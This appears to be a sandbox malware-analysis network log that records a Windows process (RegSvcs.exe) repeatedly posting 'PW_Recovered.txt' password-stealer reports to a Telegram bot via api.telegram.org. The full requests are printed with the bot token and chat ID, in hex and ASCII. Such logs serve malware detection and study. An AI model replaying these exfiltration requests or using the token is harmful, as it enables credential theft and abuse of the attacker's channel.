2024-09-19 10:22:42 UTC	562	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12767,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	61567	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:42 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce1e59cb38a86 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:42 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 31 65 35 39 63 62 33 38 61 38 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dce1e59cb38a86Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:42 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:42 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12768,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	61570	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:46 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce2c4fd9d50bb Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:46 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 32 63 34 66 64 39 64 35 30 62 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dce2c4fd9d50bbContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:46 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:46 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12769,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	61571	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:46 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcdf23b64c0193 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:46 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 66 32 33 62 36 34 63 30 31 39 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcdf23b64c0193Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:46 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:46 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12770,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	61574	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:50 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce3488763ca5d Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:50 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 33 34 38 38 37 36 33 63 61 35 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dce3488763ca5dContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:50 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:50 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:50 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12771,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	61575	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:50 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcdf9ea2613703 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:50 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 66 39 65 61 32 36 31 33 37 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcdf9ea2613703Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:50 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:50 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:50 UTC	562	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12772,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	61578	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:54 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce1f6e390835f Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:54 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 31 66 36 65 33 39 30 38 33 35 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dce1f6e390835fContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:54 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:54 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:54 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12774,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	61579	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:54 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce3d56841fb19 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:54 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 33 64 35 36 38 34 31 66 62 31 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dce3d56841fb19Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:54 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:54 GMT Content-Type: application/json Content-Length: 559 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:54 UTC	559	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: 